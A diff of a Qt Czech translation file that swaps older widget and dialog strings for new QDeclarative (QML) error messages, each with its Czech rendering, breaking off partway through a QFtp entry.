         Cu&t
         Vyj&mout
     
     
-        
         &Copy
         &Kopírovat
     
     
-        
         &Redo
         &Znovu
     
     
-        
         &Undo
         &Zpět
     
     
-        
         Clear
         Smazat
     
     
-        
         &Paste
         &Vložit
     
     
-        
-        
         Select All
         Vybrat vše
     
@@ -771,12 +952,10 @@ na
 
     Q3TitleBar
     
-        
         Close
         Zavřít
     
     
-        
         Minimize
         Zmenšit
     
@@ -785,57 +964,46 @@ na
         Dá velikost zmenšeného okna zpátky do obvyklého stavu
     
     
-        
         Displays the name of the window and contains controls to manipulate it
         Zobrazí název okna a obsahuje příkazy pro zacházení s ním
     
     
-        
         Makes the window full screen
         Dá okno na celou obrazovku
     
     
-        
         System
         Systém
     
     
-        
         Maximize
         Zvětšit
     
     
-        
         Contains commands to manipulate the window
         Obsahuje příkazy pro zacházení s velikostí okna
     
     
-        
         Restore up
         Obnovit
     
     
-        
         Puts a minimized window back to normal
         Dá velikost zmenšeného okna zpátky do obvyklého stavu
     
     
-        
         Closes the window
         Zavře okno
     
     
-        
         Puts a maximized window back to normal
         Dá velikost zvětšeného okna zpátky do obvyklého stavu
     
     
-        
         Moves the window out of the way
         Zmenší okno
     
     
-        
         Restore down
         Obnovit
     
@@ -843,7 +1011,6 @@ na
 
     Q3ToolBar
     
-        
         More...
         Více...
     
@@ -851,51 +1018,38 @@ na
 
     Q3UrlOperator
     
-        
         The protocol `%1' does not support getting files
         Protokol `%1' nepodporuje nahrávání souborů
     
     
-        
         The protocol `%1' does not support renaming files or directories
         Protokol `%1' nepodporuje přejmenovávání souborů nebo adresářů
     
     
-        
         The protocol `%1' does not support listing directories
         Protokol `%1' nepodporuje sestavování seznamu adresářů
     
     
-        
-        
         (unknown)
         (neznámý)
     
     
-        
         The protocol `%1' does not support removing files or directories
         Protokol `%1' nepodporuje odstraňování souborů nebo adresářů
     
     
-        
         The protocol `%1' does not support putting files
         Protokol `%1' nepodporuje ukládání souborů
     
     
-        
-        
-        
         The protocol `%1' is not supported
         Protokol `%1' není podporován
     
     
-        
-        
         The protocol `%1' does not support copying or moving files or directories
         Protokol `%1' nepodporuje kopírování či přesun souborů nebo adresářů
     
     
-        
         The protocol `%1' does not support creating new directories
         Protokol `%1' nepodporuje vytváření nových adresářů
     
@@ -903,27 +1057,22 @@ na
 
     Q3Wizard
     
-        
         &Help
         &Nápověda
     
     
-        
         &Cancel
         &Zrušit
     
     
-        
         &Finish
         Do&končit
     
     
-        
         &Next >
         &Další >
     
     
-        
         < &Back
         < &Zpět
     
@@ -931,44 +1080,30 @@ na
 
     QAbstractSocket
     
-        
-        
-        
-        
         Host not found
         Nepodařilo se najít počítač
     
     
-        
-        
-        
         Connection refused
         Spojení bylo odmítnuto
     
     
-        
         Connection timed out
         Časový limit pro spojení byl překročen
     
     
-        
         Socket is not connected
         Zásuvka (socket) není spojena
     
     
-        
         Socket operation timed out
         Časový limit pro zásuvkovou (socket) operaci byl překročen
     
     
-        
         Network unreachable
         Síť není dosažitelná
     
     
-        
-        
-        
         Operation on socket is not supported
         Tato zásuvková (socket) operace není podporována
     
@@ -976,17 +1111,14 @@ na
 
     QAbstractSpinBox
     
-        
         Step &down
         Krok &dolů
     
     
-        
         &Step up
         &Krok nahoru
     
     
-        
         &Select All
         &Vybrat vše
     
@@ -994,7 +1126,6 @@ na
 
     QAccessibleButton
     
-        
         Press
         Stisknout
     
@@ -1002,7 +1133,6 @@ na
 
     QApplication
     
-        
         Activates the program's main window
         Spustí hlavní okno programu
     
@@ -1011,22 +1141,18 @@ na
         LTR
     
     
-        
         Activate
         Spustit
     
     
-        
         Executable '%1' requires Qt %2, found Qt %3.
         Použití '%1' vyžaduje Qt %2; bylo ale nalezeno Qt %3.
     
     
-        
         Incompatible Qt Library Error
         Qt není slučitelná
     
     
-        
         QT_LAYOUT_DIRECTION
         Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
         LTR
@@ -1035,22 +1161,18 @@ na
 
     QAxSelect
     
-        
         OK
         OK
     
     
-        
         COM &Object:
         COM-&Objekt:
     
     
-        
         &Cancel
         &Zrušit
     
     
-        
         Select ActiveX Control
         Vybrat prvek ActiveX
     
@@ -1058,17 +1180,14 @@ na
 
     QCheckBox
     
-        
         Check
         Označit křížkem
     
     
-        
         Toggle
         Přepnout
     
     
-        
         Uncheck
         Zrušit označení křížkem
     
@@ -1076,57 +1195,46 @@ na
 
     QColorDialog
     
-        
         &Red:
         &Červená:
     
     
-        
         &Sat:
         &Sytost:
     
     
-        
         &Val:
         &Jasnost:
     
     
-        
         Hu&e:
         Barevný &odstín:
     
     
-        
         Select Color
         Vybrat barvu
     
     
-        
         &Add to Custom Colors
         &Přidat k uživatelem stanoveným barvám
     
     
-        
         Bl&ue:
         &Modrá:
     
     
-        
         &Green:
         &Zelená:
     
     
-        
         &Basic colors
         Základní &barvy
     
     
-        
         &Custom colors
         &Uživatelem stanovené barvy
     
     
-        
         A&lpha channel:
         A&lfa kanál:
     
@@ -1134,23 +1242,18 @@ na
 
     QComboBox
     
-        
-        
         Open
         Otevřít
     
     
-        
         True
         Pravdivý
     
     
-        
         Close
         Zavřít
     
     
-        
         False
         Nesprávný
     
@@ -1158,19 +1261,16 @@ na
 
     QCoreApplication
     
-        
         %1: key is empty
         QSystemSemaphore
         %1: Neplatný údaj u klíče (prázdný)
     
     
-        
         %1: unable to make key
         QSystemSemaphore
         %1: Nepodařilo se vytvořit klíč
     
     
-        
         %1: ftok failed
         QSystemSemaphore
         %1: Vyvolání ftok se nezdařilo
@@ -1188,25 +1288,21 @@ na
         %1: Vyvolání ftok se nezdařilo
     
     
-        
         %1: already exists
         QSystemSemaphore
         %1: Již existuje
     
     
-        
         %1: does not exist
         QSystemSemaphore
         %1: Neexistuje
     
     
-        
         %1: out of resources
         QSystemSemaphore
         %1: Nejsou již použitelné zdroje
     
     
-        
         %1: unknown error %2
         QSystemSemaphore
         %1: Neznámá chyba %2
@@ -1215,22 +1311,18 @@ na
 
     QDB2Driver
     
-        
         Unable to commit transaction
         Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
     
     
-        
         Unable to set autocommit
         'autocommit' se nepodařilo nastavit
     
     
-        
         Unable to connect
         Nepodařilo se navázat spojení
     
     
-        
         Unable to rollback transaction
         Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
@@ -1238,33 +1330,26 @@ na
 
     QDB2Result
     
-        
         Unable to bind variable
         Proměnnou se nepodařilo provést
     
     
-        
-        
         Unable to execute statement
         Příkaz se nepodařilo provést
     
     
-        
         Unable to fetch next
         Další datový záznam se nepodařilo natáhnout
     
     
-        
         Unable to prepare statement
         Příkaz se nepodařilo připravit
     
     
-        
         Unable to fetch record %1
         Datový záznam %1 se nepodařilo natáhnout
     
     
-        
         Unable to fetch first
         První datový záznam se nepodařilo natáhnout
     
@@ -1272,4572 +1357,5143 @@ na
 
     QDateTimeEdit
     
-        
         AM
         AM
     
     
-        
         PM
         PM
     
     
-        
         am
         am
     
     
-        
         pm
         pm
     
 
 
-    QDial
+    QDeclarativeAbstractAnimation
     
-        
-        QDial
-        QDial
+        Cannot animate non-existent property "%1"
+        Vlastnost '%1" neexistuje a nelze ji proto animovat
     
     
-        
-        SliderHandle
-        Posuvník
+        Cannot animate read-only property "%1"
+        Vlastnost '%1" je pouze pro čtení a nelze ji proto animovat
     
     
-        
-        SpeedoMeter
-        Rychloměr
+        Animation is an abstract class
+        Animace je abstraktní třída
     
 
 
-    QDialog
-    
-        
-        Done
-        Hotovo
-    
+    QDeclarativeAnchorAnimation
     
-        
-        What's This?
-        Co je toto?
+        Cannot set a duration of < 0
+        Nelze nastavit dobu trvání < 0
     
 
 
-    QDialogButtonBox
+    QDeclarativeAnchors
     
-        
-        
-        
-        OK
-        OK
+        Possible anchor loop detected on fill.
+        Při operaci naplnění byla zjištěna případná nekonečná smyčka kotvy.
     
     
-        
-        &OK
-        &OK
+        Possible anchor loop detected on centerIn.
+        Při operaci 'centerIn' byla zjištěna případná nekonečná smyčka kotvy.
     
     
-        
-        &No
-        &Ne
+        Cannot anchor to an item that isn't a parent or sibling.
+        Cílem kotvy musí být rodičovský prvek nebo prvek na stejné úrovni.
     
     
-        
-        &Yes
-        &Ano
+        Possible anchor loop detected on vertical anchor.
+        Při svislé kotvě byla zjištěna případná nekonečná smyčka kotvy.
     
     
-        
-        Help
-        Nápověda
+        Possible anchor loop detected on horizontal anchor.
+        Při vodorovné kotvě byla zjištěna případná nekonečná smyčka kotvy.
     
     
-        
-        Open
-        Otevřít
+        Cannot specify left, right, and hcenter anchors.
+        Nelze zadat kotevní údaje pro vlevo, vpravo a umístěno vodorovně do středu. Nesmí se vyskytovat společně.
     
     
-        
-        Save
-        Uložit
+        Cannot anchor to a null item.
+        Nelze dát kotvu k nulovému prvku.
     
     
-        
-        &Save
-        &Uložit
+        Cannot anchor a horizontal edge to a vertical edge.
+        Nelze ukotvit vodorovný okraj ke svislému.
     
     
-        
-        Abort
-        Zrušit
+        Cannot anchor item to self.
+        Prvek nemůže mít kotvu k sobě samému.
     
     
-        
-        Apply
-        Použít
+        Cannot specify top, bottom, and vcenter anchors.
+        Nelze zadat kotevní údaje pro nahoře, dole a umístěno svisle do středu. Nesmí se vyskytovat společně.
     
     
-        
-        Close
-        Zavřít
+        Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.
+        Kotva pro výchozí bod se nesmí používat společně s dalšími kotevními údaji pro nahoře, dole a umístěno svisle do středu.
     
     
-        
-        Reset
-        Vrátit
+        Cannot anchor a vertical edge to a horizontal edge.
+        Nelze ukotvit svislý okraj k vodorovnému.
     
+
+
+    QDeclarativeAnimatedImage
     
-        
-        Retry
-        Opakovat
+        Qt was built without support for QMovie
+        Qt bylo sestaveno bez podpory pro QMovie
     
+
+
+    QDeclarativeBehavior
     
-        
-        Restore Defaults
-        Obnovit výchozí
+        Cannot change the animation assigned to a Behavior.
+        Animaci patřící k prvku Behavior nelze změnit.
     
+
+
+    QDeclarativeBinding
     
-        
-        &Close
-        &Zavřít
+        Binding loop detected for property "%1"
+        U pro vlastnost "%1" zadané vazby byla zjištěna nekonečná smyčka
     
+
+
+    QDeclarativeCompiledBindings
     
-        
-        Cancel
-        Zrušit
+        Binding loop detected for property "%1"
+        U pro vlastnost "%1" zadané vazby byla zjištěna nekonečná smyčka
     
+
+
+    QDeclarativeCompiler
     
-        
-        Ignore
-        Přehlížet
+        Invalid property assignment: "%1" is a read-only property
+        Neplatné přiřazení vlastnosti: "%1" je vlastnost pouze pro čtení
     
     
-        
-        Close without Saving
-        Zavřít bez uložení
+        Invalid property assignment: unknown enumeration
+        Neplatné přiřazení vlastnosti: neplatná výčtová hodnota
     
     
-        
-        N&o to All
-        N&e, žádné
+        Invalid property assignment: string expected
+        Neplatné přiřazení vlastnosti: očekáván řetězec
     
     
-        
-        Save All
-        Uložit vše
+        Invalid property assignment: url expected
+        Neplatné přiřazení vlastnosti: očekávána adresa (URL)
     
     
-        
-        &Cancel
-        &Zrušit
+        Invalid property assignment: unsigned int expected
+        Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota bez znaménka
     
     
-        
-        Discard
-        Odmítnout
+        Invalid property assignment: int expected
+        Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota
     
     
-        
-        Yes to &All
-        Ano, &vše
+        Invalid property assignment: number expected
+        Neplatné přiřazení vlastnosti: očekáváno číslo
     
     
-        
-        Don't Save
-        Neukládat
+        Invalid property assignment: color expected
+        Neplatné přiřazení vlastnosti: očekáváno vymezení barvy
     
-
-
-    QDirModel
     
-        Kind
-        Druh
+        Invalid property assignment: date expected
+        Neplatné přiřazení vlastnosti: očekáván údaj s datem
     
     
-        
-        Name
-        Název
+        Invalid property assignment: time expected
+        Neplatné přiřazení vlastnosti: očekáván časový údaj
     
     
-        
-        Size
-        Velikost
+        Invalid property assignment: datetime expected
+        Neplatné přiřazení vlastnosti: očekáván údaj s datem
     
     
-        
-        Kind
-        Match OS X Finder
-        Druh
+        Invalid property assignment: point expected
+        Neplatné přiřazení vlastnosti: očekáván souřadnicový údaj pro jeden bod
     
     
-        
-        Type
-        All other platforms
-        Typ
+        Invalid property assignment: size expected
+        Neplatné přiřazení vlastnosti: očekáván údaj s velikostí
     
     
-        Type
-        Typ
+        Invalid property assignment: rect expected
+        Neplatné přiřazení vlastnosti: očekáván parametr pro pravoúhelník
     
     
-        
-        Date Modified
-        Datum změny
+        Invalid property assignment: boolean expected
+        Neplatné přiřazení vlastnosti: očekávána booleánská hodnota
     
-
-
-    QDockWidget
     
-        
-        Dock
-        Vplout do panelu
+        Invalid property assignment: 3D vector expected
+        Neplatné přiřazení vlastnosti: očekáván třírozměrný vektor
     
     
-        
-        Close
-        Zavřít
+        Invalid property assignment: unsupported type "%1"
+        Neplatné přiřazení vlastnosti: Typ "%1" není podporován
     
     
-        
-        Float
-        Plout
+        Element is not creatable.
+        Příkaz nelze vytvořit.
     
-
-
-    QDoubleSpinBox
     
-        
-        Less
-        Méně
+        Component elements may not contain properties other than id
+        Prvky součástek nesmí kromě ID obsahovat další vlastnosti
     
     
-        
-        More
-        Více
+        Invalid component id specification
+        Neplatné vymezení součástky
     
-
-
-    QErrorMessage
     
-        
-        &OK
-        &OK
+        id is not unique
+        Hodnota ID není jednoznačná
     
     
-        
-        Fatal Error:
-        Osudová chyba:
+        Invalid component body specification
+        Neplatné vymezení obsahu součástky
     
     
-        
-        &Show this message again
-        Toto hlášení &ukázat ještě jednou
+        Component objects cannot declare new properties.
+        Předměty součástek nemohou prohlásit nové vlastnosti.
     
     
-        
-        Debug Message:
-        Hlášení o odladění:
+        Component objects cannot declare new signals.
+        Předměty součástek nemohou prohlásit nové signály.
     
     
-        
-        Warning:
-        Varování:
+        Component objects cannot declare new functions.
+        Předměty součástek nemohou prohlásit nové funkce.
     
-
-
-    QFile
     
-        
-        Cannot create %1 for output
-        %1 se nepodařilo zřídit pro výstup
+        Cannot create empty component specification
+        Nelze vytvořit prázdné vymezení součástky
     
     
-        
-        Failure to write block
-        Datový blok se nepodařilo zapsat
+        Incorrectly specified signal assignment
+        Nesprávně vymezené přiřazení signálu
     
     
-        
-        Will not rename sequential file using block copy
-        Nepřejmenuje posloupný soubor pomocí kopie bloku
+        Cannot assign a value to a signal (expecting a script to be run)
+        K signálu nelze přiřadit hodnotu (očekává se spuštění skriptu)
     
     
-        
-        Cannot remove source file
-        Nelze odstranit zdrojový soubor
+        Empty signal assignment
+        Prázdné přiřazení signálu
     
     
-        
-        Cannot open %1 for input
-        %1 se nepodařilo otevřít pro čtení
+        Empty property assignment
+        Prázdné přiřazení vlastnosti
     
     
-        
-        
-        Destination file exists
-        Cílový soubor již existuje
+        Attached properties cannot be used here
+        Na tomto místě nemohou být připojené vlastnosti (typu 'attached') používány
     
     
-        
-        Cannot open for output
-        Nepodařilo se otevřít pro zápis
+        Non-existent attached object
+        Pro vlastnost neexistuje žádný připojený předmět
     
-
-
-    QFileDialog
     
-        
-        
-        Back
-        Zpět
+        Invalid attached object assignment
+        Neplatné přiřazení připojeného předmětu
     
     
-        
-        
-        File
-        Soubor
+        Cannot assign to non-existent default property
+        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost
     
     
-        
-        File Folder
-        Match Windows Explorer
-        Souborová složka
+        Cannot assign to non-existent property "%1"
+        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
     
     
-        
-        Folder
-        All other platforms
-        Složka
+        Invalid use of namespace
+        Neplatné použití jmenného prostoru
     
     
-        
-        Alias
-        Mac OS X Finder
-        Přezdívka
+        Not an attached property name
+        Neplatný název pro připojenou vlastnost (typu 'attached')
     
     
-        
-        Shortcut
-        All other platforms
-        Zkratka
+        Invalid use of id property
+        Neplatné použití vlastnosti typu 'id'
     
     
-        
-        Open
-        Otevřít
+        Property has already been assigned a value
+        Vlastnosti již byla přiřazena hodnota
     
     
-        
-        
-        
-        &Open
-        &Otevřít
+        Invalid grouped property access
+        Nesprávné seskupení při přístupu k vlastnosti
     
     
-        
-        
-        &Save
-        &Uložit
+        Cannot assign a value directly to a grouped property
+        U vlastnosti, která je částí seskupení, není žádné přímé přiřazení hodnoty přípustné
     
     
-        
-        Drive
-        Disková jednotka
+        Invalid property use
+        Neplatné použití vlastnosti
     
     
-        
-        Show 
-        Ukázat 
+        Property assignment expected
+        Očekáváno přiřazení vlastnosti
     
     
-        
-        '%1' is write protected.
-Do you want to delete it anyway?
-        '%1' je chráněn proti zápisu.
-Přesto chcete soubor smazat?
+        Single property assignment expected
+        Očekáváno jednotlivé přiřazení vlastnosti
     
     
-        
-        
-        File &name:
-        Název &souboru:
+        Unexpected object assignment
+        Nepřípustné přiřazení předmětu
     
     
-        
-        New Folder
-        Nová složka
+        Cannot assign object to list
+        Přiřazení předmětu k seznamům není přípustné
     
     
-        
-        
-        Parent Directory
-        Nadřazený adresář
+        Can only assign one binding to lists
+        K seznamům lze přiřadit pouze jednu jedinou vazbu
     
     
-        
-        &New Folder
-        &Nová složka
+        Cannot assign primitives to lists
+        Přiřazení jednoduché hodnoty (primitivy) k seznamům není přípustné
     
     
-        
-        Remove
-        Odstranit
+        Cannot assign multiple values to a script property
+        Přiřazení více hodnot k vlastnosti skriptu není přípustné
     
     
-        
-        My Computer
-        Můj počítač
+        Invalid property assignment: script expected
+        Neplatné přiřazení vlastnosti: očekáván skript
     
     
-        
-        
-        Look in:
-        Hledat v:
+        Cannot assign multiple values to a singular property
+        Přiřazení více hodnot k jedné vlastnosti není přípustné
     
     
-        
-        
-        Files of type:
-        Soubory typu:
+        Cannot assign object to property
+        Přiřazení předmětu k vlastnosti není přípustné
     
     
-        
-        Find Directory
-        Najít adresář
+        "%1" cannot operate on "%2"
+        "%1" nelze použít na "%2"
     
     
-        
-        Show &hidden files
-        &Ukázat skryté soubory
+        Duplicate default property
+        Zdvojená výchozí vlastnost
     
     
-        
-        Are sure you want to delete '%1'?
-        Jste si jistý, že %1 chcete smazat?
+        Duplicate property name
+        Zdvojený název vlastnosti
     
     
-        
-        Save As
-        Uložit jako
+        Property names cannot begin with an upper case letter
+        Názvy vlastností nesmí začínat velkým písmenem
     
     
-        
-        
-        %1
-Directory not found.
-Please verify the correct directory name was given.
-        %1
-Adresář se nepodařilo nalézt.
-Ověřte, prosím, že byl zadán správný název adresáře.
+        Illegal property name
+        Neplatný název vlastnosti
     
     
-        
-        
-        List View
-        Pohled se seznamem
+        Duplicate signal name
+        Zdvojený název signálu
     
     
-        
-        
-        &Choose
-        &Vybrat
+        Signal names cannot begin with an upper case letter
+        Názvy signálů nesmí začínat velkým písmenem
     
     
-        
-        &Delete
-        &Smazat
+        Illegal signal name
+        Neplatný název signálu
     
     
-        
-        
-        All Files (*)
-        Všechny soubory (*)
+        Duplicate method name
+        Zdvojený název metody
     
     
-        
-        Directories
-        Adresáře
+        Method names cannot begin with an upper case letter
+        Názvy metod nesmí začínat velkým písmenem
     
     
-        
-        All Files (*.*)
-        Všechny soubory (*.*)
+        Illegal method name
+        Neplatný název metody
     
     
-        
-        &Rename
-        &Přejmenovat
+        Property value set multiple times
+        Vícenásobné přiřazení hodnoty k vlastnosti
     
     
-        
-        Could not delete directory.
-        Adresář se nepodařilo smazat.
+        Invalid property nesting
+        Neplatné vkládání vlastností
     
     
-        
-        
-        Directory:
-        Adresář:
+        Cannot override FINAL property
+        Nelze přepsat vlastnost prohlašovanou jako 'FINAL'
     
     
-        
-        Unknown
-        Neznámý
+        Invalid property type
+        Neplatný typ vlastnosti
     
     
-        
-        %1 already exists.
-Do you want to replace it?
-        Soubor %1 již existuje.
-Chcete jej nahradit?
+        Invalid empty ID
+        Neplatná, protože prázdná, hodnota ID
     
     
-        
-        
-        Forward
-        Dopředu
+        IDs cannot start with an uppercase letter
+        Hodnoty ID nesmí začínat velkým písmenem
     
     
-        
-        Recent Places
-        Naposledy navštívené
+        IDs must start with a letter or underscore
+        Hodnoty ID musí začínat písmenem nebo znakem _podtržítka
     
     
-        
-        
-        Create New Folder
-        Vytvořit novou složku
+        IDs must contain only letters, numbers, and underscores
+        Hodnoty ID musí obsahovat pouze písmena, číslice nebo znaky _podtržítka
     
     
-        
-        
-        Detail View
-        Podrobný pohled
+        ID illegally masks global JavaScript property
+        Hodnota ID nedovoleně zakrývá celkovou vlastnost z JavaScriptu
     
     
-        
-        %1
-File not found.
-Please verify the correct file name was given.
-        %1
-Soubor se nepodařilo nalézt.
-Ověřte, prosím, že byl zadán správný název souboru.
+        No property alias location
+        Vlastnost alias bez umístění
     
-
-
-    QFileSystemModel
     
-        Kind
-        Druh
+        Invalid alias location
+        Neplatné umístění alias
     
     
-        
-        Name
-        Název
+        Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property>
+        Neplatné odkazování na vlastnost alias. Odkazování na vlastnost alias musí být určeno jako <id>, <id>.<vlastnost> nebo <id>.<vlastnost hodnoty>.<vlastnost>
     
     
-        
-        Size
-        Velikost
+        Invalid alias reference. Unable to find id "%1"
+        Neplatné odkazování na vlastnost alias. Nelze najít ID "%1"
     
     
-        Type
-        Typ
+        Alias property exceeds alias bounds
+        Vlastnost alias překračuje vazby alias
     
+
+
+    QDeclarativeComponent
     
-        
-        
-        %1 GB
-        %1 GB
+        Invalid empty URL
+        Neplátná prázdná adresa (URL)
     
+
+
+    QDeclarativeConnections
     
-        
-        
-        %1 KB
-        %1 KB
+        Cannot assign to non-existent property "%1"
+        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
     
     
-        
-        
-        %1 MB
-        %1 MB
+        Connections: nested objects not allowed
+        Spojení: vkládané předměty nejsou povoleny
     
     
-        
-        
-        %1 TB
-        %1 TB
+        Connections: syntax error
+        Spojení: chyba ve skladbě
     
     
-        
-        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
-        <b>Název "%1" nelze použít.</b><p>Zkuste použít jiný název, s menším počtem znaků nebo bez zvláštních znaků.
+        Connections: script expected
+        Spojení: očekáván skript
     
+
+
+    QDeclarativeEngine
     
-        
-        
-        %1 bytes
-        %1 bytů
+        executeSql called outside transaction()
+        'executeSql' byl vyvolán mimo 'transaction()'
     
     
-        
-        My Computer
-        Můj počítač
+        Read-only Transaction
+        Transakce pouze pro čtení
     
     
-        
-        Computer
-        Počítač
+        Version mismatch: expected %1, found %2
+        Verzi %2 nelze používat; je třeba %1
     
     
-        
-        Invalid filename
-        Neplatný název souboru
+        SQL transaction failed
+        Transakce SQL se nezdařila
     
     
-        
-        Kind
-        Match OS X Finder
-        Druh
+        transaction: missing callback
+        Transakce: chybí callback (zavolat znovu)
     
     
-        
-        Type
-        All other platforms
-        Typ
+        SQL: database version mismatch
+        SQL: Verze databáze neodpovídá očekávané verzi
     
+
+
+    QDeclarativeFlipable
     
-        
-        Date Modified
-        Datum změny
+        front is a write-once property
+        'front' lze přidělit pouze jednou
+    
+    
+        back is a write-once property
+        'back' lze přidělit pouze jednou
     
 
 
-    QFontDatabase
+    QDeclarativeImportDatabase
     
-        
-        Any
-        Všechna
+        cannot load module "%1": File name case mismatch for "%2"
+        Nelze nahrát modul "%1": Velikost písmen v názvu souboru neodpovídá pro %2
     
     
-        
-        Lao
-        Laoské
+        module "%1" definition "%2" not readable
+        Modul "%1" vymezení "%2" nečitelné
     
     
-        
-        
-        
-        Bold
-        Tučné
+        plugin cannot be loaded for module "%1": %2
+        Nelze nahrát přídavný modul pro modul "%1": %2
     
     
-        
-        Demi
-        Polotučné
+        module "%1" plugin "%2" not found
+        Modul "%1" přídavný modul "%2" nenalezen
     
     
-        
-        Thai
-        Thajské
+        module "%1" version %2.%3 is not installed
+        Modul "%1" verze %2.%3 není nainstalován
     
     
-        
-        
-        
-        Black
-        Černé
+        module "%1" is not installed
+        Modul "%1" není nainstalován
     
     
-        
-        Greek
-        Řecké
+        "%1": no such directory
+        "%1": žádný takový adresář není
     
     
-        
-        Khmer
-        Khmerské
+        import "%1" has no qmldir and no namespace
+        Zavedení "%1" nemá žádný qmldir a nemá žádný jmenný prostor
     
     
-        
-        Latin
-        Latinské
+        - %1 is not a namespace
+        - %1 jmenným prostorem
     
     
-        
-        
-        Light
-        Lehké
+        - nested namespaces not allowed
+        - vkládané jmenné prostory nejsou povoleny
     
     
-        
-        Ogham
-        Ogamské
+        local directory
+        Místní adresář
     
     
-        
-        Oriya
-        Oriya
+        is ambiguous. Found in %1 and in %2
+        je dvojznačný. Nalezen v %1 a v %2
     
     
-        
-        Runic
-        Runové
+        is ambiguous. Found in %1 in version %2.%3 and %4.%5
+        je dvojznačný. Nalezen v %1 ve verzi %2.%3 a %4.%5
     
     
-        
-        Tamil
-        Tamilské
+        is instantiated recursively
+        je doložen příkladem rekurzivně
     
     
-        
-        Cyrillic
-        Cyrilské
+        is not a type
+        není typ
     
     
-        
-        Kannada
-        Kannada
+        File name case mismatch for "%2"
+        Velikost písmen v názvu souboru neodpovídá pro %2
     
+
+
+    QDeclarativeKeyNavigationAttached
     
-        
-        Malayalam
-        Malayalam
+        KeyNavigation is only available via attached properties
+        Klávesové navádění (KeyNavigation) je dostupné pouze pomocí připojených vlastností
     
+
+
+    QDeclarativeKeysAttached
     
-        
-        Simplified Chinese
-        Zjednodušená čínština
+        Keys is only available via attached properties
+        Keys je dostupné pouze pomocí připojených vlastností
     
+
+
+    QDeclarativeListModel
     
-        
-        
-        Demi Bold
-        Polotučné
+        remove: index %1 out of range
+        odstranit (remove): Index %1 je mimo platnou oblast
     
     
-        
-        Arabic
-        Arabské
+        insert: value is not an object
+        vložit (insert): Hodnota není předmětem
     
     
-        
-        Hebrew
-        Hebrejské
+        insert: index %1 out of range
+        vložit (insert): Index %1 je mimo platnou oblast
     
     
-        
-        Myanmar
-        Myanmar
+        move: out of range
+        přesunout (move): je mimo platnou oblast
     
     
-        
-        
-        Italic
-        Itala
+        append: value is not an object
+        připojit (append): Hodnota není předmětem
     
     
-        
-        Korean
-        Korejské
+        set: value is not an object
+        nastavit (set): Hodnota není předmětem
     
     
-        
-        
-        Normal
-        Obvyklé
+        set: index %1 out of range
+        nastavit (set): Index %1 je mimo platnou oblast
     
     
-        
-        
-        Oblique
-        Nakloněné
+        ListElement: cannot contain nested elements
+        ListElement: nelze obsahovat vkládané prvky
     
     
-        
-        Telugu
-        Telugu
+        ListElement: cannot use reserved "id" property
+        ListElement: nelze používat vlastnost "ID"
     
     
-        
-        Thaana
-        Thaana
+        ListElement: cannot use script for property value
+        ListElement: nelze používat skript pro hodnotu vlastnosti
     
     
-        
-        Symbol
-        Symbol
+        ListModel: undefined property '%1'
+        ListModel: Vlastnost '%1' není vymezena
     
+
+
+    QDeclarativeLoader
     
-        
-        Syriac
-        Syrské
+        Loader does not support loading non-visual elements.
+        Nahrávání neviditelných prvků není podporováno.
     
+
+
+    QDeclarativeParentAnimation
     
-        
-        Devanagari
-        Devanagari
+        Unable to preserve appearance under complex transform
+        Při složité proměně nelze zachovat vzhled
     
     
-        
-        Japanese
-        Japonské
+        Unable to preserve appearance under non-uniform scale
+        Při nejednotné změně velikosti nelze zachovat vzhled
     
     
-        
-        Bengali
-        Bengálské
+        Unable to preserve appearance under scale of 0
+        Při změně velikosti s 0 nelze zachovat vzhled
     
+
+
+    QDeclarativeParentChange
     
-        
-        Armenian
-        Arménské
+        Unable to preserve appearance under complex transform
+        Při složité proměně nelze zachovat vzhled
     
     
-        
-        Sinhala
-        Sinhálské
+        Unable to preserve appearance under non-uniform scale
+        Při nejednotné změně velikosti nelze zachovat vzhled
     
     
-        
-        Tibetan
-        Tibetské
+        Unable to preserve appearance under scale of 0
+        Při změně velikosti s 0 nelze zachovat vzhled
     
+
+
+    QDeclarativeParser
     
-        
-        Vietnamese
-        Větnamské
+        Illegal unicode escape sequence
+        Neplatná úniková posloupnost unicode
     
     
-        
-        Gujarati
-        Gujarati
+        Illegal character
+        Neplatný znak
     
     
-        
-        Traditional Chinese
-        Tradiční čínština
+        Unclosed string at end of line
+        Neuzavřený řetězec na konci řádku
     
     
-        
-        Georgian
-        Gruzínské
+        Illegal escape squence
+        Neplatná úniková posloupnost
     
     
-        
-        Gurmukhi
-        Gurmukhi
+        Unclosed comment at end of file
+        Neuzavřená poznámka na konci souboru
     
-
-
-    QFontDialog
     
-        
-        &Font
-        &Písmo
+        Illegal syntax for exponential number
+        Neplatná skladba exponenciálního čísla
     
     
-        
-        &Size
-        &Velikost
+        Identifier cannot start with numeric literal
+        Identifikátor nemůže začínat s číselným překlepem
     
     
-        
-        Sample
-        Vzorek
+        Unterminated regular expression literal
+        Neuzavřený regulární výraz
     
     
-        
-        Font st&yle
-        Druh pís&ma
+        Invalid regular expression flag '%0'
+        Neplatný příznak '%0' u regulárního výrazu
     
     
-        
-        Wr&iting System
-        Způsob &psaní
+        Unterminated regular expression backslash sequence
+        Neuzavřená posloupnost se zpětným lomítkem u regulárního výrazu
     
     
-        
-        
-        Select Font
-        Vybrat písmo
+        Unterminated regular expression class
+        Neuzavřená třída u neuzavřeného regulárního výrazu
     
     
-        
-        &Underline
-        &Podtrhnout
+        Syntax error
+        Chyba ve skladbě
     
     
-        
-        Effects
-        Efekty
+        Unexpected token `%1'
+        Neočekávaný symbol `%1'
     
     
-        
-        Stri&keout
-        Pře&škrtnout
+        Expected token `%1'
+        Očekávaný symbol `%1'
     
-
-
-    QFtp
     
-        
-        
-        Listing directory failed:
-%1
-        Obsah adresářů nelze ukázat:
-%1
+        Property value set multiple times
+        Vícenásobné přiřazení hodnoty k vlastnosti
     
     
-        
-        
-        Creating directory failed:
-%1
